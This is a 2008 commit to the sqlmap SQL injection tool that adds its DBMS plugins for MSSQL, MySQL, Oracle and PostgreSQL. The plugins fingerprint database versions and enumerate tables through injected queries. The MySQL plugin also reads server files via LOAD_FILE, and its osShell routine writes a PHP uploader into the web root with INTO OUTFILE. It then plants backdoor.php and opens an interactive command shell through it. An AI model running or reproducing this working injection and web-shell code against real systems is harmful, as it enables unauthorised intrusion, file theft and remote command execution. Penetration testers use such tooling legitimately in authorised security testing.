After the storm, a restore..

This commit is contained in:
Bernardo Damele
2008-10-15 15:38:22 +00:00
commit 8e3eb45510
78 changed files with 21360 additions and 0 deletions

25
plugins/dbms/__init__.py Normal file
View File

@@ -0,0 +1,25 @@
#!/usr/bin/env python
"""
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

271
plugins/dbms/mssqlserver.py Normal file
View File

@@ -0,0 +1,271 @@
#!/usr/bin/env python
"""
$Id: mssqlserver.py 286 2008-07-25 23:09:48Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.takeover import Takeover
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
"""
This class defines Microsoft SQL Server methods
"""
def __init__(self):
Enumeration.__init__(self, "Microsoft SQL Server")
unescaper.setUnescape(MSSQLServerMap.unescape)
@staticmethod
def unescape(expression):
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = ""
unescaped = "("
for i in range(firstIndex, lastIndex):
unescaped += "CHAR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "+"
unescaped += ")"
expression = expression.replace(old, unescaped)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHAR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
oldUpper = oldUpper.split("+")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def getFingerprint(self):
actVer = formatFingerprint()
if not conf.extensiveFp:
return actVer
blank = " " * 16
value = "active fingerprint: %s" % actVer
if self.banner:
release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML)
if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release
banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
return value
def checkDbms(self):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
if not conf.extensiveFp:
return True
logMsg = "testing Microsoft SQL Server"
logger.info(logMsg)
randInt = str(randomInt(1))
query = "LTRIM(STR(LEN(%s)))" % randInt
if inject.getValue(query) == "1":
query = "SELECT SUBSTRING((@@VERSION), 25, 1)"
version = inject.getValue(query)
if version == "8":
kb.dbmsVersion = ["2008"]
elif version == "5":
kb.dbmsVersion = ["2005"]
elif version == "0":
kb.dbmsVersion = ["2000"]
if kb.dbmsVersion:
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
else:
setDbms("Microsoft SQL Server")
if not conf.extensiveFp:
return True
if conf.getBanner:
self.banner = inject.getValue("@@VERSION")
return True
else:
warnMsg = "the back-end DMBS is not Microsoft SQL Server"
logger.warn(warnMsg)
return False
def getPrivileges(self):
warnMsg = "this plugin can not fetch database users privileges"
logger.warn(warnMsg)
return {}
def getTables(self):
logMsg = "fetching tables"
if conf.db:
logMsg += " for database '%s'" % conf.db
logger.info(logMsg)
rootQuery = queries[kb.dbms].tables
if not conf.db:
if not len(self.cachedDbs):
dbs = self.getDbs()
else:
dbs = self.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if conf.unionUse:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
continue
query = rootQuery["inband"]["query"] % db
value = inject.getValue(query, blind=False)
if value:
self.cachedTables[db] = value
if not self.cachedTables:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
continue
logMsg = "fetching number of tables for "
logMsg += "database '%s'" % db
logger.info(logMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False)
if not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in range(int(count)):
query = rootQuery["blind"]["query"] % (db, index, db)
table = inject.getValue(query, inband=False)
tables.append(table)
if tables:
self.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not self.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return self.cachedTables

471
plugins/dbms/mysql.py Normal file
View File

@@ -0,0 +1,471 @@
#!/usr/bin/env python
"""
$Id: mysql.py 368 2008-09-30 00:09:59Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatFingerprint
from lib.core.common import getDirectories
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import MYSQL_ALIASES
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.takeover import Takeover
class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
"""
This class defines MySQL methods
"""
def __init__(self):
self.has_information_schema = False
Enumeration.__init__(self, "MySQL")
unescaper.setUnescape(MySQLMap.unescape)
@staticmethod
def unescape(expression):
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "%d" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += ","
expression = expression.replace(old, "CHAR(%s)" % unescaped)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHAR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find(")")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
oldUpper = oldUpper.split(",")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def __commentCheck(self):
logMsg = "executing MySQL comment injection fingerprint"
logger.info(logMsg)
query = agent.prefixQuery("/* NoValue */")
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result != kb.defaultResult:
warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg)
return None
# MySQL valid versions updated at 07/2008
versions = (
(32200, 32233), # MySQL 3.22
(32300, 32354), # MySQL 3.23
(40000, 40024), # MySQL 4.0
(40100, 40122), # MySQL 4.1
(50000, 50067), # MySQL 5.0
(50100, 50126), # MySQL 5.1
(60000, 60006), # MySQL 6.0
)
for element in versions:
prevVer = None
for version in range(element[0], element[1] + 1):
randInt = randomInt()
version = str(version)
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result == kb.defaultResult:
if version[0] == "3":
midVer = prevVer[1:3]
else:
midVer = prevVer[2]
trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
return trueVer
prevVer = version
return None
def getFingerprint(self):
actVer = formatFingerprint()
if not conf.extensiveFp:
return actVer
blank = " " * 16
value = "active fingerprint: %s" % actVer
comVer = self.__commentCheck()
if comVer:
comVer = formatFingerprint([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if self.banner:
banVer = re.search("^([\d\.]+)", self.banner)
banVer = banVer.groups()[0]
if re.search("-log$", self.banner):
banVer += ", logging enabled"
banVer = formatFingerprint([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
return value
def checkDbms(self):
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("MySQL %s" % kb.dbmsVersion[0])
if int(kb.dbmsVersion[0]) >= 5:
self.has_information_schema = True
if not conf.extensiveFp:
return True
logMsg = "testing MySQL"
logger.info(logMsg)
randInt = str(randomInt(1))
query = "CONCAT('%s', '%s')" % (randInt, randInt)
if inject.getValue(query) == (randInt * 2):
logMsg = "confirming MySQL"
logger.info(logMsg)
query = "LENGTH('%s')" % randInt
if not inject.getValue(query) == "1":
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
query = "SELECT %s " % randInt
query += "FROM information_schema.TABLES "
query += "LIMIT 0, 1"
if inject.getValue(query) == randInt:
setDbms("MySQL 5")
self.has_information_schema = True
if not conf.extensiveFp:
kb.dbmsVersion = [">= 5.0.0"]
return True
self.currentDb = inject.getValue("DATABASE()")
if self.currentDb == inject.getValue("SCHEMA()"):
kb.dbmsVersion = [">= 5.0.2", "< 5.1"]
query = "SELECT %s " % randInt
query += "FROM information_schema.PARTITIONS "
query += "LIMIT 0, 1"
if inject.getValue(query) == randInt:
kb.dbmsVersion = [">= 5.1"]
else:
kb.dbmsVersion = ["= 5.0.0 or 5.0.1"]
else:
setDbms("MySQL 4")
kb.dbmsVersion = ["< 5.0.0"]
if not conf.extensiveFp:
return True
coercibility = inject.getValue("COERCIBILITY(USER())")
if coercibility == "3":
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
elif coercibility == "2":
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
elif inject.getValue("CURRENT_USER()"):
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
kb.dbmsVersion = ["= 4.1.0"]
else:
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
elif inject.getValue("FOUND_ROWS()") == "0":
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
elif inject.getValue("CONNECTION_ID()"):
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
else:
kb.dbmsVersion = ["< 3.22.11"]
if conf.getBanner:
self.banner = inject.getValue("VERSION()")
return True
else:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
def readFile(self, rFile):
logMsg = "fetching file: '%s'" % rFile
logger.info(logMsg)
return inject.getValue("LOAD_FILE('%s')" % rFile)
def osShell(self):
"""
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
functionality
@todo: * Add a web application crawling functionality to detect
all (at least most) web server directories and merge with
Google results if the target host is a publicly available
hostname or IP address;
* Extend to all DBMS using their functionalities (UDF, stored
procedures, etc) to write files on the system or directly
execute commands on the system without passing by the agent;
* Automatically detect the web server available interpreters
parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
response headers;
* Extend the agent to other interpreters rather than only PHP:
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
logMsg = "retrieving web application directories"
logger.info(logMsg)
directories = getDirectories()
if directories:
logMsg = "retrieved web server directories "
logMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(logMsg)
message = "in addition you can provide a list of directories "
message += "absolute path comma separated that you want sqlmap "
message += "to try to upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
else:
message = "please provide the web server document root [/var/www]: "
inputDocRoot = readInput(message, default="/var/www")
if inputDocRoot:
kb.docRoot = inputDocRoot
else:
kb.docRoot = "/var/www"
message = "please provide a list of directories absolute path "
message += "comma separated that you want sqlmap to try to "
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add("/var/www/test")
logMsg = "trying to upload the uploader agent"
logger.info(logMsg)
directories = list(directories)
directories.sort()
uploaded = False
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
for directory in directories:
if uploaded:
break
# Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
if kb.docRoot:
requestDir = directory.replace(kb.docRoot, "")
else:
requestDir = directory
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
logMsg = "the uploader agent has been successfully uploaded "
logMsg += "on '%s'" % directory
logger.info(logMsg)
# Upload the backdoor through the uploader agent
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
uploaded = True
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
logMsg = "the backdoor has been successfully uploaded on "
logMsg += "'%s', go with your browser to " % directory
logMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(logMsg)
message = "do you want to use the uploaded backdoor as a "
message += "shell to execute commands right now? [Y/n] "
shell = readInput(message, default="Y")
if shell in ("n", "N"):
continue
logMsg = "calling OS shell. To quit type "
logMsg += "'x' or 'q' and press ENTER"
logger.info(logMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("$ ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
page = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:
print output.group(1)
else:
print "No output"

196
plugins/dbms/oracle.py Normal file
View File

@@ -0,0 +1,196 @@
#!/usr/bin/env python
"""
$Id: oracle.py 286 2008-07-25 23:09:48Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.takeover import Takeover
class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
"""
This class defines Oracle methods
"""
def __init__(self):
Enumeration.__init__(self, "Oracle")
unescaper.setUnescape(OracleMap.unescape)
@staticmethod
def unescape(expression):
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = ""
unescaped = "("
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
unescaped += ")"
expression = expression.replace(old, unescaped)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
oldUpper = oldUpper.split("||")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def getFingerprint(self):
if not conf.extensiveFp:
return "Oracle"
actVer = formatFingerprint()
blank = " " * 16
value = "active fingerprint: %s" % actVer
if self.banner:
banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner)
if banVer:
banVer = banVer.groups()[0]
banVer = formatFingerprint([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
return value
def checkDbms(self):
if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle")
if not conf.extensiveFp:
return True
logMsg = "testing Oracle"
logger.info(logMsg)
query = "LENGTH(SYSDATE)"
sysdate = inject.getValue(query)
if sysdate and int(sysdate) > 0:
logMsg = "confirming Oracle"
logger.info(logMsg)
query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
version = inject.getValue(query)
if not version:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
return False
setDbms("Oracle")
if not conf.extensiveFp:
return True
if re.search("^11\.", version):
kb.dbmsVersion = ["11i"]
elif re.search("^10\.", version):
kb.dbmsVersion = ["10g"]
elif re.search("^9\.", version):
kb.dbmsVersion = ["9i"]
elif re.search("^8\.", version):
kb.dbmsVersion = ["8i"]
if conf.getBanner:
self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1")
return True
else:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
return False
def getDbs(self):
warnMsg = "this plugin can not enumerate databases"
logger.warn(warnMsg)
return []

202
plugins/dbms/postgresql.py Normal file
View File

@@ -0,0 +1,202 @@
#!/usr/bin/env python
"""
$Id: postgresql.py 286 2008-07-25 23:09:48Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import setDbms
from lib.core.settings import PGSQL_ALIASES
from lib.core.unescaper import unescaper
from lib.request import inject
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.takeover import Takeover
class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
"""
This class defines PostgreSQL methods
"""
def __init__(self):
Enumeration.__init__(self, "PostgreSQL")
unescaper.setUnescape(PostgreSQLMap.unescape)
@staticmethod
def unescape(expression):
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = "("
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
unescaped += ")"
expression = expression.replace(old, unescaped)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
oldUpper = oldUpper.split("||")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def getFingerprint(self):
if not conf.extensiveFp:
return "PostgreSQL"
actVer = formatFingerprint()
blank = " " * 16
value = "active fingerprint: %s" % actVer
if self.banner:
banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner)
banVer = banVer.groups()[0]
banVer = formatFingerprint([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
return value
def checkDbms(self):
if conf.dbms in PGSQL_ALIASES:
setDbms("PostgreSQL")
if not conf.extensiveFp:
return True
logMsg = "testing PostgreSQL"
logger.info(logMsg)
randInt = str(randomInt(1))
query = "COALESCE(%s, NULL)" % randInt
if inject.getValue(query) == randInt:
logMsg = "confirming PostgreSQL"
logger.info(logMsg)
query = "LENGTH('%s')" % randInt
if not inject.getValue(query) == "1":
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
return False
setDbms("PostgreSQL")
if not conf.extensiveFp:
return True
if inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") == "2":
kb.dbmsVersion = [">= 8.2.0"]
elif inject.getValue("GREATEST(5, 9, 1)") == "9":
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3":
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"):
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p":
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
elif inject.getValue("BIT_LENGTH(1)") == "8":
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a":
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
elif inject.getValue("POW(2, 3)") == "8":
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
elif inject.getValue("MAX('a')") == "a":
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)")):
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2":
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)") == "s":
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
else:
kb.dbmsVersion = ["< 6.2.0"]
if conf.getBanner:
self.banner = inject.getValue("VERSION()")
return True
else:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
return False